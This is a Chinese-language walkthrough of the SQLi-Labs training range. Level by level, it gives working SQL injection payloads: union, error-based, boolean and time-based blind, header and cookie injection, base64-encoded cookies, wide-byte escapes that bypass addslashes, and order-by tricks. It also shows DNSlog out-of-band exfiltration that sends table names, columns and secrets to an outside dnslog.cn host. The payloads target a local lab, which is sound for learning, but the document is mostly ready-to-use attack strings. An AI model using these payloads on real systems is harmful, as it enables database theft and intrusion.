SQLi-Labs靶场总结

普通注入

1

http://127.0.0.1/sqli-labs/Less-1/
?id=1’ union select 1,2,group_concat(username,0x3a,password) from security.users limit 1,1–+

2http://localhost/sqli/Less-2/?id=-1 union select 1,@@datadir,@@basedir–+

7 ‘))http://127.0.0.1/sqli-labs/Less-7/
?id=1’)) and sleep(5)–+
如果是字符型注入,以后均用延时注入来判断引号闭合方式
eg:http://127.0.0.1/sqli-labs/Less-8/?id=1' and sleep(5)–+

13 ‘)

HTTP头部注入

18
user-agent注入 ‘,’a’,extractvalue(0x0a,concat(0x0a,(select database()))))#
注意将报错语句写入到VALUES()里面

19
refer注入:Referer: http://127.0.0.1/sqli-labs/Less-19/',extractvalue(0x0a,concat(0x0a,(select database()))))#

cookie注入

20
cookie注入:Cookie: uname=admin’ and extractvalue(0x0a,concat(0x0a,(select database())))#

base64注入

21 ‘)
base64注入:Cookie:YWRtaW4nKSBhbmQgZXh0cmFjdHZhbHVlKDB4MGEsY29uY2F0KDB4MGEsKHNlbGVjdCBkYXRhYmFzZSgpKSkpIw==

22 “
base64注入:Cookie:YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMHgwYSxjb25jYXQoMHgwYSwoc2VsZWN0IGRhdGFiYXNlKCkpKSkj

23 and ‘1’=’1
#和–被过滤掉
那么对于最后一个单引号可以使用如上闭合方式
当union select1,2,3无回显时,记着后加limit1,1

二次注入

24关

参见https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-49 第24关解读

25注意and<=>&& or<=>||
当我发送http://127.0.0.1/sqli-labs/Less-25/?id=1' && ‘1’=’1是不行的因为有空格服务器会认为id=1’http://127.0.0.1/sqli-labs/Less-26/?id=1'%26%26length(database())=8%26%26'1'='1
过滤了注释,空格以及and和or等,可用&&和||,双写绕过以及空格编码绕过,具体见国光blog

27http://127.0.0.1/sqli-labs/Less-26/?id=1'%20%26%26%20length(database())=8%20%26%26%20'1'='1
过滤了union和select可以使用如上布尔盲注

28 28相比27只是闭合方式变为了”http://127.0.0.1/sqli-labs/Less-26a/?id=1"%26%26length(database())=8%26%26"1"="1

注意id参数内容有空格或者&等符号必须进行编码
后方的闭合方式不仅有#,–+还有and ‘1’=1’,&&’1’=’1

28ahttp://127.0.0.1/sqli-labs/Less-28a/?id=1')%26%26length(database())=8%26%26('1')=(‘1 //通过这个布尔盲注

30
简单分析一下:
输入id=1正常回显
输入id=1’正常回显,猜测可能闭合方式为”,因为”1’”会被当作”1”执行
输入id=1”无回显,猜测可能极大概率闭合方式为”,因为报错了所以无查询结果回显
输入id=1”%26%26”1”=”1正常回显,说明闭合方式为”
payload:http://127.0.0.1/sqli-labs/Less-30/?id=1"%26%26length(database())=8%26%26"1"="1

31
拼接方式 “)

宽字节注入

32
本关卡会给引号加/
宽字节注入原理
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \,所以这里想办法干掉反斜杠即可。
%df 吃掉
具体的原因是 urlencode(') = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c 当做是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
payload:http://127.0.0.1/sqli-labs/Less-32/?id=1%df' union select 1,2,database() limit 1,1–+

33利用宽字节注入绕过addlashes()以后#,空格,&符号要进行url编码

34

正常返回为:

尝试username处有没有注入,输入admin’,发现被加反斜杠:

尝试宽字节注入:

返回如下,说明成功绕过:

联合注入:

抓包修改

Payload:username=admin%df’%20union%20select%201,2%20limit1,1%23

返回:

列数不同,尝试一列:

Payload:username=admin%df’%20union%20select%201%20limit1,1%23

成功

继续payload:uname=admin%df’%20union%20select%20database()%20limit1,1%23

35

输入http://127.0.0.1/sqli-labs/Less-35/?id=1'

发现报错如下:

说明是数字型注入,构造payload:

[http://127.0.0.1/sqli-labs/Less-35/?id=1%20and%20length(database())=8%23](http://127.0.0.1/sqli-labs/Less-35/?id=1 and length(database())=8%23)

回显正常,bool盲注成功:

36

对于mysql_real_escape_string也可以使用宽字节注入

37

同样mysql_real_escape_string所以使用宽字节注入

成功

堆叠查询

38

https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-55

利用SQL注入漏洞外带查询

https://www.cnblogs.com/renhaoblog/p/12912452.html

http://127.0.0.1/sqli-labs/Less-38/?id=1';select 1,2,load_file(concat(“\\“,hex(database()),”.1qk5u8.dnslog.cn\a.txt”))–+

45

密码处存在注入

Orderby注入

46

手法:

报错注入

布尔盲注:用order by rand(true)order by rand(false)

危害:

脱库

getshell

52

尝试127.0.0.1/sqli-labs/Less-52/?sort1’%23

发现无返回,应该是拼接方式错了

继续尝试数字型

正常返回,说明是数字型注入

因为没有报错,所以无法使用报错注入,尝试布尔盲注

首先输入sort=rand(true)#,返回如下

继续输入sort=rand(false)#,返回如下

回显不同,说明可以用布尔盲注,输入?sort=rand(length(database())=7)#,返回如下说明括号内判断式为false

继续尝试?sort=rand(length(database())=8)#,返回如下说明括号内判断式为true

注入成功,数据库长度为8

挑战

57

http://192.168.250.15/sqli-labs/Less-57/?id=1'%20and%20sleep(5)%23 //结果没有延时,说明不是单引号

http://192.168.250.15/sqli-labs/Less-57/?id=1"%20and%20sleep(5)%23 //结果延时,说明是双引号

联合注入

http://192.168.250.15/sqli-labs/Less-57/?id=1"%20union%20select%201,2,3%20limit%201,1%23

成功回显2,3

DNSlog带外注入

58

输入http://192.168.250.15/sqli-labs/Less-58/index.php/?id=1%27%20and%20sleep(5)%23成功延时五秒,说明闭合方式为单引号

尝试联合注入http://192.168.250.15/sqli-labs/Less-58/index.php/?id=1%27%20union%20select%201,2,3%20limit%201,1%23

回显如下

说明无法用联合注入回显到页面,因为总共只有五次机会所以只能联合注入,所以尝试dnslog外带注入,即将执行结果输出到dnslog中去:

进入http://www.dnslog.cn/

获取域名服务器

构建语句

http://192.168.250.15/sqli-labs/Less-58/index.php?id=1%27%20union%20select%201,2,load_file(concat(%27\\%27,(select group_concat(table_name) from information_schema.tables where table_schema=database()),%27.fkxo4a.dnslog.cn/abc.txt%27))%23

然后点击refresh record,看见表名已经输出出来了

注:有时候特殊字符不能被输出则用http://192.168.250.15/sqli-labs/Less-58/index.php?id=1%27%20union%20select%201,2,load_file(concat(%27\\%27,(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),%27.fkxo4a.dnslog.cn/abc.txt%27))%23

然后爆字段名

http://192.168.250.15/sqli-labs/Less-58/index.php?id=1%27%20union%20select%201,2,load_file(concat(%27\\%27,(select hex(group_concat(column_name)) from information_schema.columns where table_name=’o5bhxcnlvf’),%27.fkxo4a.dnslog.cn/abc.txt%27))%23

成功回显,说明语句执行成功,可去dnslog处查看:

点击refresh record,看见字段已经输出出来了

用burp尽心十六进制解码得字段名为:

输出数据:

http://192.168.250.15/sqli-labs/Less-58/index.php?id=1%27%20union%20select%201,2,load_file(concat(%27\\%27,(select hex(group_concat(sessid,secret_4DTV,tryy)) from challanges.o5bhxcnlvf),%27.fkxo4a.dnslog.cn/abc.txt%27))%23

得到密钥lwWTMDXztKcFyz5jgPoOcJ6i成功

59

输入?id=1%20and%20sleep(5)%23成功延时,所以数字型注入

并且有报错,可尝试报错注入

60

输入?id=1”) and sleep(5)%23成功延时,所以闭合方式为”)

有报错可以尝试报错注入,联合注入等

61

输入?id=1”)) and sleep(5)%23成功延时,所以闭合方式为”))

有报错可以尝试报错注入,联合注入等

62

输入?id=1’) and sleep(5)%23成功延时,所以闭合方式为‘)

没有报错不能报错注入,可尝试dnslog外带注入这关给的次数有130次也可以尝试布尔盲注

63

输入?id=1’ and sleep(5)%23成功延时,所以闭合方式为’

没有报错不能报错注入,可尝试dnslog外带注入这关给的次数有130次也可以尝试布尔盲注

64

输入?id=1’ and sleep(5)%23成功延时,所以闭合方式为’

没有报错不能报错注入,可尝试dnslog外带注入这关给的次数有130次也可以尝试布尔盲注

编码问题

对于例如?id=1’ and sleep(5)#

在浏览器搜索框可以输入为?id=1’ and sleep(5)%23,因为浏览器会给我们自动url编码

而在hackbar和burp中要输入的是url编码后的payload,即?id=1%27%20and%20sleep(5)#

注:payload中有&等符号一样要进行编码,&是%26

判断引号闭合方式

  1. 最简单的就是?id=1’%23 ?id=1”%23等等如果有好几种闭合方式都正常返回,那么就用方法2
  2. ?id=1’ and ‘1’=’1 ?id=1” and “1”=”1如果还是均正常返回尝试方法3
  3. ?id=1’ and sleep(5)%23 ?id=1” and sleep(5)%23哪一个延时了就是正确的闭合方式,无论有没有正常回显

常见闭合方式

  • 数字型
  • ‘ ‘
  • “ “
  • ( )
  • (( ))
  • (‘ ‘)
  • (“ “)
  • ((‘ ‘))
  • ((“ “))

注:以后payload中的#全部改写为%23,因为浏览器会认为#是锚点从而不算在id参数内容里面

当执行结果无法通过布尔盲注或者联合查询注入进行显示的话,可以尝试将执行结果通过dnslog带外注入输出到dnslog中去

注入绕过方法

https://blog.csdn.net/huanghelouzi/article/details/82995313